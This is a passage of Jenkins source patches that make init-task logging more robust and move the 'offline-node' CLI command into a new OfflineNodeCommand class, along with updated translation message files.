a/core/src/main/java/jenkins/InitReactorRunner.java b/core/src/main/java/jenkins/InitReactorRunner.java index 3c6f43988c..c5c2bfb844 100644 --- a/core/src/main/java/jenkins/InitReactorRunner.java +++ b/core/src/main/java/jenkins/InitReactorRunner.java @@ -25,6 +25,8 @@ import java.util.logging.Level; import java.util.logging.Logger; import static java.util.logging.Level.SEVERE; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * Executes the {@link Reactor} for the purpose of bootup. @@ -61,15 +63,15 @@ public class InitReactorRunner { r.add(new ReactorListener() { final Level level = Level.parse( Configuration.getStringConfigParameter("initLogLevel", "FINE") ); public void onTaskStarted(Task t) { - LOGGER.log(level,"Started "+t.getDisplayName()); + LOGGER.log(level, "Started {0}", getDisplayName(t)); } public void onTaskCompleted(Task t) { - LOGGER.log(level,"Completed "+t.getDisplayName()); + LOGGER.log(level, "Completed {0}", getDisplayName(t)); } public void onTaskFailed(Task t, Throwable err, boolean fatal) { - LOGGER.log(SEVERE, "Failed "+t.getDisplayName(),err); + LOGGER.log(SEVERE, "Failed " + getDisplayName(t), err); } public void onAttained(Milestone milestone) { @@ -86,6 +88,17 @@ public class InitReactorRunner { return new ReactorListener.Aggregator(r); } + /** Like {@link Task#getDisplayName} but more robust. */ + @Restricted(NoExternalUse.class) + public static String getDisplayName(Task t) { + try { + return t.getDisplayName(); + } catch (RuntimeException | Error x) { + LOGGER.log(Level.WARNING, "failed to find displayName of " + t, x); + return t.toString(); + } + } + /** * Called when the init milestone is attained. */ diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 65ac9f25c0..25481a0bb2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -987,7 +987,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (is!=null && is.skipInitTask(task)) return; ACL.impersonate(ACL.SYSTEM); // full access in the initialization thread - String taskName = task.getDisplayName(); + String taskName = InitReactorRunner.getDisplayName(task); Thread t = Thread.currentThread(); String name = t.getName(); @@ -999,11 +999,24 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if(LOG_STARTUP_PERFORMANCE) LOGGER.info(String.format("Took %dms for %s by %s", System.currentTimeMillis()-start, taskName, name)); + } catch (Exception | Error x) { + if (containsLinkageError(x)) { + LOGGER.log(Level.WARNING, taskName + " failed perhaps due to plugin dependency issues", x); + } else { + throw x; + } } finally { t.setName(name); SecurityContextHolder.clearContext(); } } + private boolean containsLinkageError(Throwable x) { + if (x instanceof LinkageError) { + return true; + } + Throwable x2 = x.getCause(); + return x2 != null && containsLinkageError(x2); + } }; new InitReactorRunner() { @@ -3022,15 +3035,15 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve final Level level = Level.parse(Configuration.getStringConfigParameter("termLogLevel", "FINE")); public void onTaskStarted(Task t) { - LOGGER.log(level, "Started " + t.getDisplayName()); + LOGGER.log(level, "Started {0}", InitReactorRunner.getDisplayName(t)); } public void onTaskCompleted(Task t) { - LOGGER.log(level, "Completed " + t.getDisplayName()); + LOGGER.log(level, "Completed {0}", InitReactorRunner.getDisplayName(t)); } public void onTaskFailed(Task t, Throwable err, boolean fatal) { - LOGGER.log(SEVERE, "Failed " + t.getDisplayName(), err); + LOGGER.log(SEVERE, "Failed " + InitReactorRunner.getDisplayName(t), err); } public void onAttained(Milestone milestone) { -- GitLab From fb7458f2e6acbe955fbb4b8f0afd9d352d839181 Mon Sep 17 00:00:00 2001 From: Pavel Janousek Date: Wed, 20 Jul 2016 14:30:09 +0200 Subject: [PATCH 098/811] [JENKINS-34468] CLI command offline-node extracted from core to CLI (#2392) * [JENKINS-34468] CLI command offline-node extracted from core to CLI offline-node extended to accept multiple node names offline-node covered by test-cases * Fixed translation properties * Fixes based on Oleg's comments * Fixed HelpCommandTest test-case * Minor fixes * Uses Matchers.instanceOf everywhere instead of Java operator instanceof --- .../java/hudson/cli/OfflineNodeCommand.java | 95 ++++ core/src/main/java/hudson/model/Computer.java | 9 +- .../resources/hudson/cli/Messages.properties | 2 + .../hudson/cli/Messages_bg.properties | 4 + .../hudson/cli/Messages_da.properties | 2 + .../hudson/cli/Messages_de.properties | 2 + .../hudson/cli/Messages_es.properties | 2 + .../hudson/cli/Messages_it.properties | 1 + .../hudson/cli/Messages_ja.properties | 2 + .../hudson/cli/Messages_lt.properties | 6 +- .../hudson/cli/Messages_pt_BR.properties | 2 + .../hudson/cli/Messages_zh_CN.properties | 2 + .../hudson/cli/Messages_zh_TW.properties | 2 + .../hudson/model/Messages.properties | 1 - .../hudson/model/Messages_bg.properties | 3 - .../hudson/model/Messages_da.properties | 1 - .../hudson/model/Messages_de.properties | 1 - .../hudson/model/Messages_es.properties | 1 - .../hudson/model/Messages_it.properties | 1 - .../hudson/model/Messages_ja.properties | 1 - .../hudson/model/Messages_lt.properties | 1 - .../hudson/model/Messages_pt_BR.properties | 2 - .../hudson/model/Messages_zh_CN.properties | 1 - .../hudson/model/Messages_zh_TW.properties | 1 - .../test/java/hudson/cli/HelpCommandTest.java | 4 +- .../hudson/cli/OfflineNodeCommandTest.java | 482 ++++++++++++++++++ 26 files changed, 608 insertions(+), 23 deletions(-) create mode 100644 core/src/main/java/hudson/cli/OfflineNodeCommand.java create mode 100644 test/src/test/java/hudson/cli/OfflineNodeCommandTest.java diff --git a/core/src/main/java/hudson/cli/OfflineNodeCommand.java b/core/src/main/java/hudson/cli/OfflineNodeCommand.java new file mode 100644 index 0000000000..b92cee59ca --- /dev/null +++ b/core/src/main/java/hudson/cli/OfflineNodeCommand.java @@ -0,0 +1,95 @@ +/* + * The MIT License + * + * Copyright 2016 Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package hudson.cli; + +import hudson.AbortException; +import hudson.Extension; +import hudson.model.Computer; +import hudson.model.ComputerSet; +import hudson.util.EditDistance; +import jenkins.model.Jenkins; + +import org.kohsuke.args4j.Argument; +import org.kohsuke.args4j.Option; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; + +/** + * @author pjanouse + * @since TODO + */ +@Extension +public class OfflineNodeCommand extends CLICommand { + + @Argument(metaVar = "NAME", usage = "Agent name, or empty string for master", required = true, multiValued = true) + private List nodes; + + @Option(name = "-m", usage = "Record the reason about why you are disconnecting this node") + public String cause; + + @Override + public String getShortDescription() { + return Messages.OfflineNodeCommand_ShortDescription(); + } + + @Override + protected int run() throws Exception { + boolean errorOccurred = false; + final Jenkins jenkins = Jenkins.getInstance(); + final HashSet hs = new HashSet(nodes); + List names = null; + + for (String node_s : hs) { + try { + Computer computer = jenkins.getComputer(node_s); + if (computer == null) { + if (names == null) { + names = ComputerSet.getComputerNames(); + } + String adv = EditDistance.findNearest(node_s, names); + throw new IllegalArgumentException(adv == null ? + hudson.model.Messages.Computer_NoSuchSlaveExistsWithoutAdvice(node_s) : + hudson.model.Messages.Computer_NoSuchSlaveExists(node_s, adv)); + } + computer.cliOffline(cause); + } catch (Exception e) { + if (hs.size() == 1) { + throw e; + } + + stderr.println(node_s + ": " + e.getMessage()); + errorOccurred = true; + continue; + } + } + + if (errorOccurred) { + throw new AbortException("Error occured while performing this command, see previous stderr output."); + } + return 0; + } +} diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 4d4d1e5fe6..7db02878ae 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -521,10 +521,13 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces } /** - * CLI command to mark the node offline. + * @deprecated Implementation of CLI command "offline-node" moved to {@link hudson.cli.OfflineNodeCommand}. + * + * @param cause + * Record the note about why you are disconnecting this node */ - @CLIMethod(name="offline-node") - public void cliOffline(@Option(name="-m",usage="Record the note about why you are disconnecting this node") String cause) throws ExecutionException, InterruptedException { + @Deprecated + public void cliOffline(String cause) throws ExecutionException, InterruptedException { checkPermission(DISCONNECT); setTemporarilyOffline(true, new ByCLI(cause)); } diff --git a/core/src/main/resources/hudson/cli/Messages.properties b/core/src/main/resources/hudson/cli/Messages.properties index 9f223cedc5..14330684d9 100644 --- a/core/src/main/resources/hudson/cli/Messages.properties +++ b/core/src/main/resources/hudson/cli/Messages.properties @@ -90,3 +90,5 @@ ConnectNodeCommand.ShortDescription=Reconnect to a node(s) DisconnectNodeCommand.ShortDescription=Disconnects from a node. QuietDownCommand.ShortDescription=Quiet down Jenkins, in preparation for a restart. Don\u2019t start any builds. CancelQuietDownCommand.ShortDescription=Cancel the effect of the "quiet-down" command. +OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. + diff --git a/core/src/main/resources/hudson/cli/Messages_bg.properties b/core/src/main/resources/hudson/cli/Messages_bg.properties index 68c5cc94ee..e2fe289895 100644 --- a/core/src/main/resources/hudson/cli/Messages_bg.properties +++ b/core/src/main/resources/hudson/cli/Messages_bg.properties @@ -134,3 +134,7 @@ QuietDownCommand.ShortDescription=\ \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043d\u0430 Jenkins \u0437\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435. \u0414\u0430 \u043d\u0435 \u0441\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442 \u043d\u043e\u0432\u0438 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f. CancelQuietDownCommand.ShortDescription=\ \u041e\u0442\u043c\u044f\u043d\u0430 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430\u0442\u0430 \u0437\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435 \u2014 \u0449\u0435 \u0441\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442 \u043d\u043e\u0432\u0438 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f. +OfflineNodeCommand.ShortDescription=\ + \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u043e\u043b\u0437\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043a\u0430\u0442\u043e \u043d\u0435 \u0441\u0435\ + \u0432\u044a\u0432\u0435\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0442\u0430 \u201eonline-node\u201c. + diff --git a/core/src/main/resources/hudson/cli/Messages_da.properties b/core/src/main/resources/hudson/cli/Messages_da.properties index 63bd44a17a..bfd9e8d040 100644 --- a/core/src/main/resources/hudson/cli/Messages_da.properties +++ b/core/src/main/resources/hudson/cli/Messages_da.properties @@ -8,3 +8,5 @@ DisconnectNodeCommand.ShortDescription=Afbryder forbindelsen til en node ConnectNodeCommand.ShortDescription=Gentilslut en node QuietDownCommand.ShortDescription=Forbereder nedlukning, starter ingen nye byg. CancelQuietDownCommand.ShortDescription=Sl\u00e5 effekten af "quite-down" kommandoen fra. +OfflineNodeCommand.ShortDescription=Hold midlertidigt op med at bygge p\u00e5 en node, indtil n\u00e6ste "online-node" kommando. + diff --git a/core/src/main/resources/hudson/cli/Messages_de.properties b/core/src/main/resources/hudson/cli/Messages_de.properties index 1469580d2c..287aeef516 100644 --- a/core/src/main/resources/hudson/cli/Messages_de.properties +++ b/core/src/main/resources/hudson/cli/Messages_de.properties @@ -7,3 +7,5 @@ ConnectNodeCommand.ShortDescription=Erneut mit Knoten verbinden. DisconnectNodeCommand.ShortDescription=Knoten trennen. QuietDownCommand.ShortDescription=Jenkins' Aktivit\u00e4t reduzieren, z.B. zur Vorbereitung eines Neustarts. Es werden keine neuen Builds mehr gestartet. CancelQuietDownCommand.ShortDescription=Wirkung des Befehls "quiet-down" wieder aufheben. +OfflineNodeCommand.ShortDescription=Knoten wird bis zum n\u00e4chsten "online-node"-Kommando f\u00fcr keine neuen Builds verwendet. + diff --git a/core/src/main/resources/hudson/cli/Messages_es.properties b/core/src/main/resources/hudson/cli/Messages_es.properties index ed2d492031..31f6ba1279 100644 --- a/core/src/main/resources/hudson/cli/Messages_es.properties +++ b/core/src/main/resources/hudson/cli/Messages_es.properties @@ -56,3 +56,5 @@ ConnectNodeCommand.ShortDescription=Reconectarse con un nodo DisconnectNodeCommand.ShortDescription=Desconectarse de un nodo QuietDownCommand.ShortDescription=Poner Jenkins en modo quieto y estar preparado para un reinicio. No comenzar ninguna ejecuci\u00f3n. CancelQuietDownCommand.ShortDescription=Cancelar el efecto del comando "quiet-down". +OfflineNodeCommand.ShortDescription=Dejar de utilizar un nodo temporalmente hasta que se ejecute el comando "online-node". + diff --git a/core/src/main/resources/hudson/cli/Messages_it.properties b/core/src/main/resources/hudson/cli/Messages_it.properties index 0b7c38c2b6..195737cade 100644 --- a/core/src/main/resources/hudson/cli/Messages_it.properties +++ b/core/src/main/resources/hudson/cli/Messages_it.properties @@ -4,3 +4,4 @@ OnlineNodeCommand.ShortDescription=Resume using a node for performing builds, to ClearQueueCommand.ShortDescription=Pulisce la coda di lavoro ReloadConfigurationCommand.ShortDescription=Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk. ConnectNodeCommand.ShortDescription=Riconnettersi ad un nodo +OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. diff --git a/core/src/main/resources/hudson/cli/Messages_ja.properties b/core/src/main/resources/hudson/cli/Messages_ja.properties index 44578a51aa..0e7f20e2d6 100644 --- a/core/src/main/resources/hudson/cli/Messages_ja.properties +++ b/core/src/main/resources/hudson/cli/Messages_ja.properties @@ -78,3 +78,5 @@ ConnectNodeCommand.ShortDescription=\u30ce\u30fc\u30c9\u3068\u518d\u63a5\u7d9a\u DisconnectNodeCommand.ShortDescription=\u30ce\u30fc\u30c9\u3068\u306e\u63a5\u7d9a\u3092\u5207\u65ad\u3057\u307e\u3059\u3002 QuietDownCommand.ShortDescription=Jenkins\u306f\u518d\u8d77\u52d5\u306b\u5411\u3051\u3066\u7d42\u4e86\u51e6\u7406\u3092\u5b9f\u65bd\u4e2d\u3067\u3059\u3002\u30d3\u30eb\u30c9\u3092\u958b\u59cb\u3057\u306a\u3044\u3067\u304f\u3060\u3055\u3044\u3002 CancelQuietDownCommand.ShortDescription="quiet-down"\u30b3\u30de\u30f3\u30c9\u306e\u51e6\u7406\u3092\u30ad\u30e3\u30f3\u30bb\u30eb\u3057\u307e\u3059\u3002 +OfflineNodeCommand.ShortDescription="online-node"\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u307e\u3067\u3001\u30d3\u30eb\u30c9\u3092\u5b9f\u884c\u3059\u308b\u30ce\u30fc\u30c9\u306e\u4f7f\u7528\u3092\u4e00\u6642\u7684\u306b\u505c\u6b62\u3057\u307e\u3059\u3002 + diff --git a/core/src/main/resources/hudson/cli/Messages_lt.properties b/core/src/main/resources/hudson/cli/Messages_lt.properties index ef12b07b2f..ce8a4e6b28 100644 --- a/core/src/main/resources/hudson/cli/Messages_lt.properties +++ b/core/src/main/resources/hudson/cli/Messages_lt.properties @@ -82,14 +82,12 @@ BuildCommand.CLICause.CannotBuildUnknownReasons=\ Negalima vykdyti {0} d\u0117l ne\u017einom\u0173 prie\u017eas\u010di\u0173. DeleteNodeCommand.ShortDescription=Trina mazg\u0105(-us) - ReloadJobCommand.ShortDescription=I\u0161 naujo \u012fkelti darb\u0105(-us) - OnlineNodeCommand.ShortDescription=V\u0117l naudoti mazg\u0105 vykdymams, atjungiant ankstesn\u012f re\u017eim\u0105 \u201eatsijung\u0119s\u201c. - ClearQueueCommand.ShortDescription=Valo vykdymo eil\u0119. ReloadConfigurationCommand.ShortDescription=I\u0161mesti visus atminties duomenis ir visk\u0105 \u012fkelti i\u0161 fail\u0173 sistemos. Naudinga, jei konfig\u016bracinius failus keit\u0117te tiesiai diske. - DisconnectNodeCommand.ShortDescription=Atsijungia nuo mazgo. QuietDownCommand.ShortDescription=Tyliai nuleisti Jenkins\u0105, pasiruo\u0161iant paleidimui i\u0161 naujo. Neprad\u0117ti joki\u0173 vykdym\u0173. CancelQuietDownCommand.ShortDescription=Nutraukti \u201etylaus i\u0161jungimo\u201c komandos efekt\u0105. +OfflineNodeCommand.ShortDescription=Laikinai nebenaudoti mazgo darb\u0173 vykdymui, kol bus \u012fvykdyta kita \u201emazgas \u012fjungtas\u201c komanda. + diff --git a/core/src/main/resources/hudson/cli/Messages_pt_BR.properties b/core/src/main/resources/hudson/cli/Messages_pt_BR.properties index d51546dc17..7c47e2fc3d 100644 --- a/core/src/main/resources/hudson/cli/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/cli/Messages_pt_BR.properties @@ -124,3 +124,5 @@ ConnectNodeCommand.ShortDescription=Reconectar ao n\u00f3 DisconnectNodeCommand.ShortDescription=Desconectar do n\u00f3 QuietDownCommand.ShortDescription=Desativar em modo silencioso, em prepara\u00e7\u00e3o para o rein\u00edcio. N\u00e3o come\u00e7e nenhum build. CancelQuietDownCommand.ShortDescription=Cancela o comando "quiet-down" +OfflineNodeCommand.ShortDescription=Temporariamente n\u00e3o usando um n\u00f3 para os builds. Aguardando o pr\u00f3ximo comando de modo-online + diff --git a/core/src/main/resources/hudson/cli/Messages_zh_CN.properties b/core/src/main/resources/hudson/cli/Messages_zh_CN.properties index 5365b3ec1a..c767020ed3 100644 --- a/core/src/main/resources/hudson/cli/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/cli/Messages_zh_CN.properties @@ -6,3 +6,5 @@ ReloadConfigurationCommand.ShortDescription=Discard all the loaded data in memor ConnectNodeCommand.ShortDescription=Reconnect to a node QuietDownCommand.ShortDescription=Quiet down Jenkins, in preparation for a restart. Don''t start any builds. CancelQuietDownCommand.ShortDescription=Cancel the effect of the "quiet-down" command. +OfflineNodeCommand.ShortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. + diff --git a/core/src/main/resources/hudson/cli/Messages_zh_TW.properties b/core/src/main/resources/hudson/cli/Messages_zh_TW.properties index 7fb1008db9..bd85c6bce1 100644 --- a/core/src/main/resources/hudson/cli/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/cli/Messages_zh_TW.properties @@ -81,3 +81,5 @@ ReloadConfigurationCommand.ShortDescription=\u653e\u68c4\u6240\u6709\u8a18\u61b6 ConnectNodeCommand.ShortDescription=\u9023\u7dda\u5230\u6307\u5b9a\u7bc0\u9ede\u3002 QuietDownCommand.ShortDescription=\u8b93 Jenkins \u6c89\u6fb1\u4e00\u4e0b\uff0c\u6e96\u5099\u91cd\u65b0\u555f\u52d5\u3002\u5148\u4e0d\u8981\u518d\u5efa\u7f6e\u4efb\u4f55\u4f5c\u696d\u3002 CancelQuietDownCommand.ShortDescription=\u53d6\u6d88 "quiet-down" \u6307\u4ee4\u3002 +OfflineNodeCommand.ShortDescription=\u66ab\u6642\u4e0d\u4f7f\u7528\u6307\u5b9a\u7bc0\u9ede\u4f86\u5efa\u7f6e\uff0c\u76f4\u5230\u57f7\u884c "online-node" \u6307\u4ee4\u70ba\u6b62\u3002 + diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 46e360d433..c2a1574cfb 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -95,7 +95,6 @@ CLI.clear-queue.shortDescription=Clears the build queue. CLI.disable-job.shortDescription=Disables a job. CLI.enable-job.shortDescription=Enables a job. CLI.online-node.shortDescription=Resume using a node for performing builds, to cancel out the earlier "offline-node" command. -CLI.offline-node.shortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. CLI.wait-node-online.shortDescription=Wait for a node to become online. CLI.wait-node-offline.shortDescription=Wait for a node to become offline. diff --git a/core/src/main/resources/hudson/model/Messages_bg.properties b/core/src/main/resources/hudson/model/Messages_bg.properties index 3cb62a1d60..19ce0ac210 100644 --- a/core/src/main/resources/hudson/model/Messages_bg.properties +++ b/core/src/main/resources/hudson/model/Messages_bg.properties @@ -148,9 +148,6 @@ CLI.delete-node.shortDescription=\ CLI.online-node.shortDescription=\ \u041e\u0442\u043d\u043e\u0432\u043e \u0434\u0430 \u0441\u0435 \u043f\u043e\u043b\u0437\u0432\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f. \u041e\u0442\u043c\u0435\u043d\u044f\u043d\u0435 \u043d\u0430 \u043f\u0440\u0435\u0434\u0445\u043e\u0434\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\ \u201eoffline-node\u201c. -CLI.offline-node.shortDescription=\ - \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u043e\u043b\u0437\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043a\u0430\u0442\u043e \u043d\u0435 \u0441\u0435\ - \u0432\u044a\u0432\u0435\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0442\u0430 \u201eonline-node\u201c. CLI.wait-node-online.shortDescription=\ \u0418\u0437\u0447\u0430\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0434\u0430 \u0435 \u043d\u0430 \u043b\u0438\u043d\u0438\u044f. CLI.wait-node-offline.shortDescription=\ diff --git a/core/src/main/resources/hudson/model/Messages_da.properties b/core/src/main/resources/hudson/model/Messages_da.properties index af79835829..6cd683c17a 100644 --- a/core/src/main/resources/hudson/model/Messages_da.properties +++ b/core/src/main/resources/hudson/model/Messages_da.properties @@ -153,7 +153,6 @@ Job.NoRecentBuildFailed=Ingen byg har fejlet for nyligt. Permalink.LastUnsuccessfulBuild=Seneste fejlede byg RunParameterDefinition.DisplayName=K\u00f8rselsparameter Hudson.JobAlreadyExists=Et job eksisterer allerede med navnet ''{0}'' -CLI.offline-node.shortDescription=Hold midlertidigt op med at bygge p\u00e5 en node, indtil n\u00e6ste "online-node" kommando. MyViewsProperty.DisplayName=Mine visninger UpdateCenter.PluginCategory.must-be-labeled=Ukatagoriserede AbstractProject.Disabled=Byg sl\u00e5et fra diff --git a/core/src/main/resources/hudson/model/Messages_de.properties b/core/src/main/resources/hudson/model/Messages_de.properties index a160fefc7b..08765ea186 100644 --- a/core/src/main/resources/hudson/model/Messages_de.properties +++ b/core/src/main/resources/hudson/model/Messages_de.properties @@ -79,7 +79,6 @@ CLI.clear-queue.shortDescription=Build-Warteschlange l\u00f6schen. CLI.disable-job.shortDescription=Job deaktivieren. CLI.enable-job.shortDescription=Job aktivieren. CLI.disconnect-node.shortDescription=Knoten trennen. -CLI.offline-node.shortDescription=Knoten wird bis zum n\u00e4chsten "online-node"-Kommando f\u00fcr keine neuen Builds verwendet. CLI.safe-restart.shortDescription=Startet Jenkins neu. Queue.init=Build-Warteschlange neu initialisieren diff --git a/core/src/main/resources/hudson/model/Messages_es.properties b/core/src/main/resources/hudson/model/Messages_es.properties index 4d8a67d60d..ff4cbe2688 100644 --- a/core/src/main/resources/hudson/model/Messages_es.properties +++ b/core/src/main/resources/hudson/model/Messages_es.properties @@ -59,7 +59,6 @@ BallColor.Unstable=Inestable CLI.disable-job.shortDescription=Desactivar una tarea CLI.enable-job.shortDescription=Activar una tarea CLI.online-node.shortDescription=Continuar usando un nodo y candelar el comando "offline-node" mas reciente. -CLI.offline-node.shortDescription=Dejar de utilizar un nodo temporalmente hasta que se ejecute el comando "online-node". Computer.Caption=Remoto {0} Computer.Permissions.Title=Nodo diff --git a/core/src/main/resources/hudson/model/Messages_it.properties b/core/src/main/resources/hudson/model/Messages_it.properties index 67ec7630c1..2cd2acf307 100644 --- a/core/src/main/resources/hudson/model/Messages_it.properties +++ b/core/src/main/resources/hudson/model/Messages_it.properties @@ -73,7 +73,6 @@ BallColor.Unstable=Instabile CLI.disable-job.shortDescription=Disabilita un job CLI.enable-job.shortDescription=Abilita un job CLI.online-node.shortDescription=Resume using a node for performing builds, to cancel out the earlier "offline-node" command. -CLI.offline-node.shortDescription=Stop using a node for performing builds temporarily, until the next "online-node" command. CLI.wait-node-online.shortDescription=Attende che il nodo sia attivo CLI.wait-node-offline.shortDescription=Attende che un nodo sia disattivo diff --git a/core/src/main/resources/hudson/model/Messages_ja.properties b/core/src/main/resources/hudson/model/Messages_ja.properties index 2699e4fcc8..e9aea8f9d6 100644 --- a/core/src/main/resources/hudson/model/Messages_ja.properties +++ b/core/src/main/resources/hudson/model/Messages_ja.properties @@ -295,7 +295,6 @@ CLI.clear-queue.shortDescription=\u30d3\u30eb\u30c9\u30ad\u30e5\u30fc\u3092\u30a CLI.disable-job.shortDescription=\u30b8\u30e7\u30d6\u3092\u7121\u52b9\u5316\u3057\u307e\u3059\u3002 CLI.enable-job.shortDescription=\u30b8\u30e7\u30d6\u3092\u6709\u52b9\u5316\u3057\u307e\u3059\u3002 CLI.online-node.shortDescription=\u76f4\u524d\u306b\u5b9f\u884c\u3057\u305f"online-node"\u30b3\u30de\u30f3\u30c9\u3092\u53d6\u308a\u6d88\u3057\u3001\u30d3\u30eb\u30c9\u3092\u5b9f\u884c\u3059\u308b\u30ce\u30fc\u30c9\u306e\u4f7f\u7528\u3092\u518d\u958b\u3057\u307e\u3059\u3002 -CLI.offline-node.shortDescription="online-node"\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u307e\u3067\u3001\u30d3\u30eb\u30c9\u3092\u5b9f\u884c\u3059\u308b\u30ce\u30fc\u30c9\u306e\u4f7f\u7528\u3092\u4e00\u6642\u7684\u306b\u505c\u6b62\u3057\u307e\u3059\u3002 CLI.wait-node-online.shortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30f3\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 CLI.wait-node-offline.shortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30d5\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 diff --git a/core/src/main/resources/hudson/model/Messages_lt.properties b/core/src/main/resources/hudson/model/Messages_lt.properties index b80d8ca16a..13bb1cad49 100644 --- a/core/src/main/resources/hudson/model/Messages_lt.properties +++ b/core/src/main/resources/hudson/model/Messages_lt.properties @@ -70,7 +70,6 @@ CLI.clear-queue.shortDescription=I\u0161valo vykdymo eil\u0119. CLI.disable-job.shortDescription=I\u0161jungia darb\u0105. CLI.enable-job.shortDescription=\u012ejungia darb\u0105. CLI.disconnect-node.shortDescription=Atsijungia nuo mazgo. -CLI.offline-node.shortDescription=Laikinai nebenaudoti mazgo darb\u0173 vykdymui, kol bus \u012fvykdyta kita \u201emazgas \u012fjungtas\u201c komanda. CLI.wait-node-online.shortDescription=Laukti, kol mazgas prisijungs. CLI.wait-node-offline.shortDescription=Laukti, kol mazgas atsijungs. diff --git a/core/src/main/resources/hudson/model/Messages_pt_BR.properties b/core/src/main/resources/hudson/model/Messages_pt_BR.properties index 550313d9eb..8e837a6441 100644 --- a/core/src/main/resources/hudson/model/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/model/Messages_pt_BR.properties @@ -271,8 +271,6 @@ Hudson.NodeDescription=N\u00f3 master do Jenkins Permalink.LastUnsuccessfulBuild=\u00daltimo build que falhou # Run Parameter RunParameterDefinition.DisplayName=Rodar o par\u00e2metro -# Stop using a node for performing builds temporarily, until the next "online-node" command. -CLI.offline-node.shortDescription=Temporariamente n\u00e3o usando um n\u00f3 para os builds. Aguardando o pr\u00f3ximo comando de modo-online # My Views MyViewsProperty.DisplayName=Minhas views # Uncategorized diff --git a/core/src/main/resources/hudson/model/Messages_zh_CN.properties b/core/src/main/resources/hudson/model/Messages_zh_CN.properties index af1d3635d5..1d07150da1 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_CN.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_CN.properties @@ -64,7 +64,6 @@ 